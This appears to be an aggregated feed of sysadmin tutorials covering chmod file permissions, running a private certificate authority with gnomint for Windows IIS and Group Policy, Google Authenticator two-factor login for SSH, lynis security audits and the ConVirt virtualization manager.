Where did 640 come from? You look at the numbers represented by the different commands – for read and write permissions, you have 4 + 2 = 6. The 6 represents the permissions for the user. The 4 comes from just the read permissions for the group, and the 0 comes from no permissions for everyone else. Therefore, you have 640. The number system is very good because you can have a number for all possible combinations: none (0), x (1), w (2), r (4), rx (5), rw (6), and rwx (7).
As an example, full permissions for everyone would be 777. However, if you have security in mind, its best to assign only the permissions that you absolutely need – 777 should be used rarely, if at all.

Alternative Method

While I prefer the number method of assigning permissions, you can increase your flexibility and also add or remove permissions using the representative letters. For the above situation, the command used could also be chmod u=rw,g=r,o= /shared/Team1/important_stuff. Here, u=rw assigns read and write permissions to the user, g=r assigns read permissions to the group, and o= assigns no permissions to everyone else. There’s also ‘a’ which can assign the same permissions for all categories.
You can also combine different combinations for varying permissions, as well as + or – signs instead of =, which would simply add or remove permissions if they haven’t already been added/removed instead of completely overwriting the permissions that you’re changing.
So, different examples can include:
  • chmod a+x /shared/Team1/important_stuff assigns execute permissions to everyone if they don’t have it already
  • chmod ug=rw o-w /shared/Team1/important_stuff forces the user and group to just have read and write permissions, and takes away writing permissions for everyone else in case they had it.

Applying Permissions To Multiple Files

Additionally, you can add the -R flag to the command in order to recursively apply the same permissions to multiple files and directories within a directory. If you wanted to change the permissions of the Team1 folder and all files and folders within, you can run the command chmod 640 -R /shared/Team1.
Applying the same permissions to multiple, but individually picked files can be done with a command such as chmod 640 /shared/Team1/important_stuff /shared/Team1/presentation.odp.

Conclusion

Hopefully, these tips have helped you improve your knowledge of the permissions system found in Linux. Security is an important matter to consider, especially on mission-critical machines, and using chmod is one of the best ways to keep security tight. While this is a fairly in-depth look at using chmod, there’s still a bit more that you can do with it, and there are plenty of other utilities that complement chmod. If you need a place to start, I would suggest doing more research on all of the things you can do with chown.
If you’re just getting started with Linux, have a look at our Getting Started Guide to Linux.
Are file permissions important for you? What permissions tips do you have for others? Let us know in the comments!

Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment

$
0
0
http://virtuallyhyper.com/2013/04/setup-your-own-certificate-authority-ca-on-linux-and-use-it-in-a-windows-environment


In this previous post, I deployed a test IIS Server and used a self signed SSL Certificate to encrypt the HTTP traffic. I am sure everyone have seen this page in Internet Explorer:
IE cert error Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
When I clicked “View Certificate”, I saw the following:
view certificate Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
We can see that certificate is issued by the same entity as the site-name itself. We can also see that the Root CA is not trusted. Since this is a self-signed Certificate, you are the Root CA in a manner of speaking. My goal is to get rid of that message and to become a “trusted” Certificate Authority (CA) in my local Windows Environment.

Choosing a free Certificate Authority software

If we take a look at this wikipedia page, we will see the following list of available software:
There is actually one more that I ran into, it’s called tinyCA.

Using OpenSSL Commands to Setup a CA

DogTag, EJBCA, and OpenCA were full blown Public-Key Infrastructure (PKI) applications and I didn’t need all of the extra functionally. There are a lot of examples on how to setup your own CA with openssl:
I have done that before and when you are managing a lot of different certificates the process is not very scalable. Also, if you don’t keep doing it, you have to re-trace your steps to remember how the setup works. There is also a Perl script that is included to ease the CA setup, that script is called CA.pl. Depending on your Linux distribution you have find the right package that contains that script. Here is where I found it on my Fedora install:
[elatov@klaptop ~]$ yum provides "*/CA.pl*"
Loaded plugins: langpacks, presto, refresh-packagekit, remove-with-leaves
1:openssl-perl-1.0.1c-7.fc18.x86_64 : Perl scripts provided with OpenSSL
Repo : fedora
Matched from:
Filename : /etc/pki/tls/misc/CA.pl
Filename : /usr/share/man/man1/CA.pl.1ssl.gz
You can check out examples from “Setup your own Certificate Authority” and Becoming a CA Authority on how to use the Perl script; here is a very high level overview:
#Generate CA Certificate
CA.pl -newca

#Generate a Certificate Signing Request (CSR)
CA.pl -newreq

#Sign the CSR with your CA key
CA.pl -sign

TinyCA

This time around I wanted a pretty GUI that will handle all of the openssl commands for me and store the certificate database as well. Maybe I am getting lazy? or hopefully efficient. Among the other applications, TinyCA stood out the most. I found many guides on how to use it:
As I started to install the software I noticed that it wasn’t part of the Fedora repositories:
[elatov@klaptop ~]$ yum search tinyca
Loaded plugins: langpacks, presto, refresh-packagekit, remove-with-leaves
Warning: No matches found for: tinyca
No Matches found
That didn’t stop me; I downloaded the application and installed it manually. After setting up my Root CA, the application crashed with the following error:
Use of uninitialized value $mday in concatenation (.) or string at /usr/share/perl5/Time/Local.pm line 116,  line 3.
Day '' out of range 1..31 at /usr/local/tinyca2/lib/OpenSSL.pm line 1050.
I found this bug and the issue was with a later version of openssl (which I had on my Fedora 18 install). The fix was included in Debian based distributions. However I was running Fedora and I didn’t want to keep patching the software manually, if it kept having issues. So I decided to try out gnomint.

Install Gnomint and Create a Root CA Certificate

Luckily Gnomint was part of the Fedora packages, so a simple:
yum install gnomint
Took care of all my troubles. Then running gnomint launched the GUI for me:
gnomint started Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Then I clicked on “Add Autosigned CA certificate” and it showed me the “New CA” dialog:
gnomint new ca Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Here is what I entered for my new CA certificate:
gnomint new ca filledout Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Then if you click “Next” you will see the “New CA Properties” window:
gnomint new ca props Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Choose what you think is necessary; the higher the bit count the better the encryption is. Click “Next” and you will be asked to provide the “CRL Distribution Point”. This is included with the Root CA Certificate. If a certificate is revoked, people can check for that at this “Destribution Point”/Link. I won’t be a public CA, so I left this blank:
gnomint crl dist point Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
I then clicked “OK” and my new Root CA Certificate was created:
gnomint root ca created Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment

Generate a new Certificate Request and Sign it with your Root CA Certificate in Gnomint

At this point we can generate a Certificate Signing Request (CSR) by clicking on “Add CSR”:
gnomint csr req Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After “Inheriting CA Fields” we can click “Next” and fill out the Request:
gnomint req props filled out Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
I went ahead and requested for a “wildcard” (*.domain.com) certificate just to have one certificate cover my test windows domain. This way I can import one Certificate on both of my IIS servers. Clicking “Next” will take us to the Encryption details, I left the defaults here (I know with Windows as long as it’s above 2048 bits then it should work):
gnomint csr req enc Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Clicking “OK” created the CSR:
gnomint csr created Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
To “Sign” the CSR, just right click on it and select “Sign”:
gnomint sign csr Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
and the following window will show up:
gnomint sign csr diag Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Click “Next” and it will ask you to choose the CA to sign with:
gnomint sign csr choose ca Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After clicking “Next” we choose how long the certificate is valid for and what it can be used for:
gnomint sign csr uses Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
The defaults were fine with me, clicking “OK” finished the process and I now had a signed certificate:
gnomint signed cert Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment

Check out the Gnomint Database

Save your database in gnomint and a file called ~/.gnomint/default.gnomint will be created. That is just an sqlite3 database, so we can check out the contents to make sure it looks good. So go ahead and open up the database:
[elatov@klaptop .gnomint]$ sqlite3 default.gnomint
SQLite version 3.7.13 2012-06-11 02:05:22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite>
Next list the available tables:
sqlite> .tables
ca_crl ca_properties certificates
ca_policies cert_requests db_properties
Lastly check out the certificates table:
sqlite> select * from certificates;
1|1|01|root-cert-elatov.local|1366488033|1555790433||-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
|1|-----BEGIN RSA PRIVATE KEY-----
xxx
-----END RSA PRIVATE KEY-----
|C=US,ST=Colorado,L=Boulder,O=Home,OU=Me,CN=root-cert-elatov.local|C=US,ST=Colorado,L=Boulder,O=Home,OU=Me,CN=root-cert-elatov.local|0|:||39:3F:52:E5:F4:4F:F1:7F:48:73:A4:73:EB:F3:E0:C6:5A:4A:68:E8|39:3F:52:E5:F4:4F:F1:7F:48:73:A4:73:EB:F3:E0:C6:5A:4A:68:E8
2|0|02|*.elatov.local|1366489069|1524255469||-----BEGIN CERTIFICATE-----
yyy
-----END CERTIFICATE-----
|1|-----BEGIN RSA PRIVATE KEY-----
yyy
-----END RSA PRIVATE KEY-----
|C=US,ST=Colorado,L=Boulder,O=Home,OU=Me,CN=*.elatov.local|C=US,ST=Colorado,L=Boulder,O=Home,OU=Me,CN=root-cert-elatov.local|1|:1:|||39:3F:52:E5:F4:4F:F1:7F:48:73:A4:73:EB:F3:E0:C6:5A:4A:68:E8
That looks good to me.

Export the Signed Certificate in PKCS #12 Format from Gnomint

Now we need upload our signed Certificate to our IIS server to make sure it works okay. First, let go ahead and export the certificate from Gnomint. This is done by right clicking on our Cerficate and selecting “Export”:
gnomint export cert Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After that, you will be presented to choose the format of the certificate. Choose “Both Parts”:
gnomint export format Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After clicking “Next”, you can choose to save the exported file on your computer. I called the file wild-elatov-local.pfx and stored it on my Desktop:
gnomint export save diag Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After clicking “Save”, you will be asked to password protect the file:
gnomint pass pro pfx file Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Click “OK” and you will now have the exported certificate in PKCS #12 format.

Confirm the Contents of a PKCS #12 Format Certificate

We can just use the openssl utility to quickly check out the contents of the certificate:
[elatov@klaptop Desktop]$ openssl pkcs12 -info -in wild-elatov-local.pfx 
Enter Import Password:
MAC Iteration 1
MAC verified OK
PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 425
Certificate bag
Bag Attributes
localKeyID: 61 0B C1 4D 47 04 88 1F B9 1D 28 4D 99 18 CC 3C E0 75 2E 94
friendlyName: C=US,ST=Colorado,L=Boulder,O=Home,OU=Me,CN=*.elatov.local
subject=/C=US/ST=Colorado/L=Boulder/O=Home/OU=Me/CN=*.elatov.local
issuer=/C=US/ST=Colorado/L=Boulder/O=Home/OU=Me/CN=root-cert-elatov.local
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 299
Bag Attributes
localKeyID: 61 0B C1 4D 47 04 88 1F B9 1D 28 4D 99 18 CC 3C E0 75 2E 94
friendlyName: C=US,ST=Colorado,L=Boulder,O=Home,OU=Me,CN=*.elatov.local
Key Attributes:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----BEGIN ENCRYPTED PRIVATE KEY-----
xxx
-----END ENCRYPTED PRIVATE KEY-----
The Export password and the PEM password are the same one that we used during the “Export” process from Gnomint. The above looks good: the Issuer is correct and so is the subject.

Import the PKCS #12 Certificate into the IIS Server

Upload the .pfx file to the IIS server:
cert uploaded to win Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Then start up IIS manager:
inetmgr
inetmgr started iis2 Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Then click on “Server Certificates”:
server certs inetmgr Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After you double click on “Server Certificate” you will see a list of current certificates, I only have the self signed certificate:
server certs 1 self signed Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Now click on “Import” from the top left and the Import Certificate Dialogue will show up. Hit “Browse” and point to our certificate and enter the Export password:
import pfx iis Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After you click “OK” you will see the newly import Certificate:
inetmer new cert imported Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Now if you click on “Default Web Site” you can click on “Bindings” from the left pane:
def site selected Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Then select the “https” binding:
https binding iis Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Lastly select “Edit” and select the newly imported SSL certificate:
https change binding Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
To test out the new Certificate, open up the browser to the same site and you will still see the same “ssl” warning, but if you click on “View Certificate” you will see the following:
ie cert props Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
We can see that the “Issue By” and the “Issue To” fields look correct.

Add Your Own Root CA to Trusted Root Certification Authorities on the DC Server

Now that we our own CA we need to import it to our Domain Controller and push it to any machine that is part of our domain. This way any computer part of the Domain will trust our SSL certificates. First we need to export our Root CA from Gnomint.

Export Root CA Certificate from Gnomint

To export the Root CA Certificate we just have to do the same thing as with the regular Certificate. Right click on the Certificate and select “Export”. During the Export process choose “Public Only” for the format:
gnomint export public only Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
If all is well you should see a succesful export:
successful export Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment

Confirm Contents of the Root CA .PEM File

We will again use openssl to check the contents of SSL certificate:
[elatov@klaptop Desktop]$ openssl x509 -in root-ca-elatov-local.pem -text -noout 
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=Colorado, L=Boulder, O=Home, OU=Me, CN=root-cert-elatov.local
Validity
Not Before: Apr 20 20:00:33 2013 GMT
Not After : Apr 20 20:00:33 2019 GMT
Subject: C=US, ST=Colorado, L=Boulder, O=Home, OU=Me, CN=root-cert-elatov.local
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:d0:2f:05:bd:2a:4c:f0:3c:23:e7:00:b9:67:d9:
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:TRUE
X509v3 Key Usage: critical
Certificate Sign, CRL Sign
X509v3 Subject Key Identifier:
39:3F:52:E5:F4:4F:F1:7F:48:73:A4:73:EB:F3:E0:C6:5A:4A:68:E8
X509v3 Authority Key Identifier:
keyid:39:3F:52:E5:F4:4F:F1:7F:48:73:A4:73:EB:F3:E0:C6:5A:4A:68:E8

Signature Algorithm: sha1WithRSAEncryption
42:d1:be:db:42:ab:50:25:d2:bd:47:fc:05:f5:01:81:75:27:
All of the above looks good to me.

Import the Root CA into the Windows DC Server

Upload the Root CA Certificate to the DC Server and then launch the “Group Policy Management” console:
gpmc.msc
gpmc started Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Next let’s expand the following hierarchy: Forest -> Domains -> “elatov.local” -> “Group Policy Objects”:
gpmc GPOs Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Then right click on “Defaul Domain Policy” and select “Edit” and you will see the following:
default domain policy gpo editor Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Now let’s expand the hierarchy as follows: “Default Domain Policy” -> “Computer Configuration” -> “Policies” -> “Windows Settings” -> “Security Settings” -> “Public Key Policies” -> “Trusted Root Certification Authorities”:
trca gpo Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Right click on “Trusted Root Certification Authorities” and select “Import”, then point to the Root CA:
import root ca Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
After clicking “Next” it will let you know that it will add the certificate into the “Trusted Root Certifications Authorities”:
place root ca in trca Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Lastly click “Next” and then “Finish” and you will the following message:
cert import successful Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
And in the end you will see your root CA imported:
root ca in trca Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Now you can close the GPO consoles.

Get the new Group Policies to the Windows Clients

Now that we have added our Root CA Certificate to our Group Policy, we need to update the policy on the client. Open up a command prompt on the Windows 7 client and run:
C:\Windows\system32>gpupdate /force
Updating Policy...

User Policy update has completed successfully.
Computer Policy update has completed successfully.
Or you can log out and log back in as well.

Confirm the Root CA Certificate is on the Domain Joined Windows Client

Now that we have synced the new Group Policies from our Domain controller, we should see our Root CA. On the windows client run:
certmgr.msc
and the “Certificate Manager” will start up:
certmgr started Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
If you expand “Trusted Root Certification Authorities” -> “Certificates”, you should your Root CA in there:
root cert added win client Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
Now going to the site: shows me the following page without any warnings:
iis https no error Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
And checking out the SSL certificate we see the following:
trusted ssl cert Setup Your Own Certificate Authority (CA) on Linux and Use it in a Windows Environment
It’s trusted and I feel so much safer.

How to Setup Two-Factor Authentication (Google Authenticator) for SSH Logins

$
0
0
http://www.tecmint.com/ssh-two-factor-authentication


By default, SSH already uses a secure data communication between remote machines, but if you want to add some extra security layer to your SSH connections, you can add a Google Authenticator (two-factor authentication) module that allow you to enter a random one-time password (TOTP) verification code while connecting to SSH servers. You’ll have to enter the verification code from your smartphone or PC when you connect.
The Google Authenticator is an open-source module that includes implementations of one-time passcodes (TOTP) verification token developed by Google. It supports several mobile platforms, as well as PAM (Pluggable Authentication Module). These one-time passcodes are generated using open standards created by the OATH (Initiative for Open Authentication).
SSH Two Factor Authentication
SSH Two Factor Authentication
In this article I will show you how to setup and configure SSH for two-factor authentication under Red Hat, CentOS, Fedora and Ubuntu, Linux Mint and Debian.

Installing Google Authenticator Module

Open the machine that you want to setup two factor authentication and install following PAM libraries along with development libraries that are needed for the PAM module to work correctly with Google authenticator module.
On Red Hat, CentOS and Fedora systems install the ‘pam-devel‘ package.
# yum install pam-devel make gcc-c++ wget
On Ubuntu, Linux Mint and Debian systems install ‘libpam0g-dev‘ package.
# apt-get install libpam0g-dev make gcc-c++ wget
Download and extract Google authenticator module under Home directory (assume you are already logged in home directory of root).
# cd /root
# wget https://google-authenticator.googlecode.com/files/libpam-google-authenticator-1.0-source.tar.bz2
# tar -xvf libpam-google-authenticator-1.0-source.tar.bz2
Type the following commands to compile and install Google authenticator module on the system.
# cd libpam-google-authenticator-1.0
# make
# make install
# google-authenticator
Once you run ‘google-authenticator‘ command, it will prompt you with a serious of question. Simply type “y” (yes) as the answer in most situation. If something goes wrong, you can type again ‘google-authenticator‘ command to reset the settings.
  1. Do you want authentication tokens to be time-based (y/n) y
After this question, you will get your ‘secret key‘ and ‘emergency codes‘. Write down these details somewhere, we will need the ‘secret key‘ later on to setup Google Authenticator app.
[root@tecmint libpam-google-authenticator-1.0]# google-authenticator

Do you want authentication tokens to be time-based (y/n) y

https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/root@tecmint.com%3Fsecret%3DXEKITDTYCBA2TLPL

Your new secret key is: XEKITDTYCBA2TLPL
Your verification code is 461618
Your emergency scratch codes are:
65083399
10733609
47588351
71111643
92017550
Next, follow the setup wizard and in most cases type answer as “y” (yes) as shown below.
Do you want me to update your "/root/.google_authenticator" file (y/n) y

Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) y

If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y

Configuring SSH to use Google Authenticator Module

Open the PAM configuration file ‘/etc/pam.d/sshd‘ and add the following line to the top of the file.
auth       required     pam_google_authenticator.so
Next, open the SSH configuration file ‘/etc/ssh/sshd_config‘ and scroll for fine the line that says.
ChallengeResponseAuthentication no
Change it to “yes“. So, it becomes like this.
ChallengeResponseAuthentication yes
Finally, restart SSH service to take new changes.
# /etc/init.d/sshd restart

Configuring Google Authenticator App

Launch Google Authenticator app in your smartphone. Press Menu and choose “Setup an account“. If you don’t have this app, you can download and install Google Authenticator app on your Android/iPhone/Blackberry devices.
Google Authenticator Setup Account
Google Authenticator Setup Account
Press “Enter key provided”.
Google Authenticator Secret Key
Enter Google Authenticator Secret Key
Add your account ‘Name‘ and enter the ‘secret key‘ generated earlier.
Google Authenticator Account Name
Google Authenticator Account Name and Secret Key
It will generate one time password (verification code) that will constantly changing every 30sec on your phone.
Google Authenticator One Time Password
Google Authenticator One Time Password
Now try to login via SSH, you will be prompted with Google Authenticator code (Verification code) and Password whenever you attempt to log in via SSH. You have only 30 seconds to enter this verification code, if you miss it will regenerate new verification code.
login as: tecmint
Access denied
Using keyboard-interactive authentication.
Verification code:
Using keyboard-interactive authentication.
Password:
Last login: Tue Apr 23 13:58:29 2013 from 172.16.25.125
[root@tecmint ~]#
If you don’t have smartphone, you can also use a Firefox add-on called GAuth Authenticator to do two-factor authentication.
Important: The two-factor authentication works with password based SSH login. If you are using any private/public key SSH session, it will ignore two-factor authentication and log you in directly.

Audit the security of your Unix/Linux systems using lynis

$
0
0
http://www.unixmen.com/audit-the-security-of-your-unixlinux-systems-using-lynis


Lynis is an auditing tool for unix/linux like systems which is used to scan the entire unix/linux systems for security issues, installed software informations, general system information, configuration issues or mistakes, software patch management, malware and vulnerability, firewall auditing, user accounts without passwords, invalid file permissions and many more.
This tool is quite often used for novice system administrators, system auditors, network and security specialists. The notable feature of this tool is easy to use and it tests and gathers the linux systems security informations in few minutes. Sounds good, why don’t you give it a try?

Install lynis in Ubuntu / Debian Distros

Installation is quite easy in ubuntu/debian like systems. You can install it either from synaptic manager or from terminal. For other distros plaese check offical homepage.
unixmen@server:~$ sudo apt-get install lynis

Usage and Run lynis

The running and using of lynis is faily simple. All you need to do is just open the terminal and type following command.
unixmen@server:~$ sudo lynis -c
or
unixmen@server:~$ sudo lynis --check-all
Now lynis will begin to audit the entire system including the following:
  • Boot loaders and startup services.
  • kernel configuration, core dumps, run level and loaded modules.
  • Memory and processes.
  • Users and groups.
  • mount points, /tmp files and root file system
  • NFS and BIND services.
  • Update/upgradeable packages and software repositories.
  • Iptables and SElinux issues/configurations.
  • Apache and nginx web servers.
  • SSH configurations and Issues.
  • MySQL root password and LDAP services.
  • php options.
  • crontab/cronjob and atd.
  • ntp daemon.
  • SSL certificate expiration and Issues.
  • malwares.
  • Home directories.
The following output will open when you type above commands.
Now pressing enter will lead you through the next screens.
To stop asking “Press Enter” every time, use the parameters ‘-c and -Q’ as shown below.
unixmen@server:~$ sudo lynis -c -Q
unixmen@server: ~_003
After completing the scanning, it will generate a output report in ‘/var/log/lynis.log’ file.
unixmen@server:~$ sudo vi /var/log/lynis.log 
[13:13:13] ### Starting Lynis 1.3.0 with PID 4356, build date 28 April 2011 ###
[13:13:13] ### Copyright 2007-2012 - Michael Boelen, http://www.rootkit.nl/ ###
[13:13:13] Program version:           1.3.0
[13:13:13] Operating system:          Linux
[13:13:13] Operating system name:     Ubuntu
[13:13:13] Operating system version:  12.10
[13:13:13] Kernel version:            3.5.0-17-generic
[13:13:13] Hardware platform:         i686
[13:13:13] Hostname:                  server
[13:13:13] Auditor:                   [Unknown]
[13:13:13] Profile:                   /etc/lynis/default.prf
[13:13:13] Log file:                  /var/log/lynis.log
[13:13:13] Report file:               /var/log/lynis-report.dat
[13:13:13] Report version:            1.0
[13:13:13] -----------------------------------------------------
[13:13:13] Include directory:         /usr/share/lynis/include
[13:13:13] Plugin directory:          /etc/lynis/plugins
[13:13:13] Database directory:        /usr/share/lynis/db
[13:13:13] ===---------------------------------------------------------------===
[13:13:13] Reading profile/configuration /etc/lynis/default.prf
[13:13:13] Profile option set: profile_name (with value Default Audit Template)
[13:13:13] Profile option set: pause_between_tests (with value 0)
[13:13:14] Profile option set: show_tool_tips (with value 1)
You can scroll down through the log file for any Warnings or Suggestions or use the following commands to view the ‘Warnings’ and ‘Suggestions’ found in the log file.
To list out the ‘Warnings’, use the following command:
unixmen@server:~$ sudo grep Warning /var/log/lynis.log 
[13:14:10] Warning: Found BIND version in banner [test:NAME-4210] [impact:M]
[13:18:43] Warning: Couldn't find 2 responsive nameservers [test:NETW-2705] [impact:L]
[13:18:47] Warning: Found mail_name in SMTP banner, and/or mail_name contains 'Postfix' [test:MAIL-8818] [impact:L]
[13:19:02] Warning: Root can directly login via SSH [test:SSH-7412] [impact:M]
[13:19:06] Warning: PHP option register_globals option is turned on, which can be a risk for variable value overwriting [test:PHP-2368] [impact:M]
[13:19:06] Warning: PHP option expose_php is possibly turned on, which can reveal useful information for attackers. [test:PHP-2372] [impact:M]
[13:19:30] Warning: No running NTP daemon or available client found [test:TIME-3104] [impact:M]
To list out the ‘Suggestions’, use the following command:
unixmen@server:~$ sudo grep Suggestion /var/log/lynis.log 
[13:13:57] Suggestion: Install a PAM module for password strength testing like pam_cracklib or pam_passwdqc [test:AUTH-9262]
[13:13:59] Suggestion: When possible set expire dates for all password protected accounts [test:AUTH-9282]
[13:13:59] Suggestion: Configure password aging limits to enforce password changing on a regular base [test:AUTH-9286]
[13:14:00] Suggestion: Default umask in /etc/profile could be more strict like 027 [test:AUTH-9328]
[13:14:00] Suggestion: Default umask in /etc/login.defs could be more strict like 027 [test:AUTH-9328]
[13:14:00] Suggestion: Default umask in /etc/init.d/rc could be more strict like 027 [test:AUTH-9328]
[13:14:02] Suggestion: To decrease the impact of a full /home file system, place /home on a separated partition [test:FILE-6310]
[13:14:02] Suggestion: To decrease the impact of a full /tmp file system, place /tmp on a separated partition [test:FILE-6310]
[13:14:05] Suggestion: Disable drivers like USB storage when not used, to prevent unauthorized storage or data theft [test:STRG-1840]
[13:14:06] Suggestion: Disable drivers like firewire storage when not used, to prevent unauthorized storage or data theft [test:STRG-1846]
[13:18:42] Suggestion: Install package apt-show-versions for patch management purposes [test:PKGS-7394]
[13:18:43] Suggestion: Check your resolv.conf file and fill in a backup nameserver if possible [test:NETW-2705]
[13:18:47] Suggestion: You are adviced to hide the mail_name (option: smtpd_banner) from your postfix configuration. Use postconf -e or change your main.cf file (/etc/postfix/main.cf) [test:MAIL-8818]
[13:18:50] Suggestion: Configure a firewall/packet filter to filter incoming and outgoing traffic [test:FIRE-4590]
[13:19:06] Suggestion: Change the register_globals line to: register_globals = Off [test:PHP-2368]
[13:19:07] Suggestion: Change the expose_php line to: expose_php = Off [test:PHP-2372]
[13:19:07] Suggestion: Change the allow_url_fopen line to: allow_url_fopen = Off, to disable downloads via PHP [test:PHP-2376]
[13:19:26] Suggestion: Add legal banner to /etc/issue, to warn unauthorized users [test:BANN-7126]
[13:19:27] Suggestion: Add legal banner to /etc/issue.net, to warn unauthorized users [test:BANN-7130]
[13:19:29] Suggestion: Enable auditd to collect audit information [test:ACCT-9628]
[13:19:30] Suggestion: Check if any NTP daemon is running or a NTP client gets executed daily, to prevent big time differences and avoid problems with services like kerberos, authentication or logging differences. [test:TIME-3104]
[13:19:36] Suggestion: Install a file integrity tool [test:FINT-4350]
[13:19:51] Suggestion: One or more sysctl values differ from the scan profile and could be tweaked [test:KRNL-6000]
[13:19:52] Suggestion: Harden the system by installing one or malware scanners to perform periodic file system scans [test:HRDN-7230]
Thats it. Now you can rectify the security loopholes even if you are unexperienced system administrator in your Unix/Linux systems.

ConVirt: the New Tool in Your Virtual Toolbox

$
0
0
http://www.linuxjournal.com/content/convirt-new-tool-your-virtual-toolbox


 Virtualization is now a staple of the modern enterprise. As more and more shops switch to the virtual paradigm, managing those new virtual resources is a critical part of any deployment. For admins using Microsoft- or VMware-based hypervisors, powerful management tools are available to keep their virtual houses in order. Unfortunately, those products and their accompanying tools come with a hefty price tag. The good news is that inexpensive open-source virtualization is on the rise, driven in large part due to its low performance overhead. However, one of the primary obstacles to large-scale open-source virtualization adoption has been the lack of robust management tools. virt-manager is the most well known and used, and although it's a great tool, it does not hold a candle to the enterprise tools put out by the big vendors. That's where ConVirt comes in.
ConVirt is an open-source tool capable of managing multiple types of hypervisors including Xen, KVM and now VMware from a single pane of glass. When evaluating ConVirt for your needs, it is best to think of it as a front end to the native tools of the hypervisors that provides extended features not available in a standalone hypervisor. Although there is some overlap with virt-manager, ConVirt adds an additional level of enterprise manageability. ConVirt is currently offered in three tiers: Open Source, Enterprise and Enterprise Cloud. This article focuses on the open-source version. The open-source version does not include the ability to manage VMware items, so the testing environment for this article contains only Xen and KVM servers. Even though I don't cover it here, the ability to manage VMware hosts along with KVM and Xen hosts from the same pane of glass should peak the interests of many admins.
Let's get started by installing the ConVirt Management Server or CMS. ConVirt can be installed on most flavors of Linux or as a pre-configured virtual appliance that can be imported into a KVM or Xen server. I chose to deploy my CMS on a physical server running CentOS 6.2 to allow plenty of storage space (the virtual appliance is roughly 2–3GB in size), although the appliance probably will get you up and running faster. Make sure that whichever installation method you select, that you open all the necessary ports on your CMS and on your managed servers/hosts that you want to manage through the console (TCP 8081, 8006, VNC ports and SSH).
The term "managed server" refers to those hosts running a hypervisor that is managed by ConVirt and can be used interchangeably with the term "host". Follow the installation procedures available on the Convirture Wiki site to perform the installation of the CMS. Most of the install is handled by a script that pulls down the dependencies and installs MySQL. I won't go into finer detail on the server install, as it is well documented on the site and I would just be repeating the information here.
After the CMS install is complete, access your management page at http://youripaddress:8081 (Figure 1). Use the default login of "admin/admin" to bring up the main console. For those used to VMware's vSphere, this interface will feel familiar. The layout is broken into three main panels: a navigation panel on the left, a display panel for selected items in the middle of the page and a panel at the bottom for displaying task results (Figure 2).
Figure 1. The Main Login Screen
Figure 2. First View of the Data Center

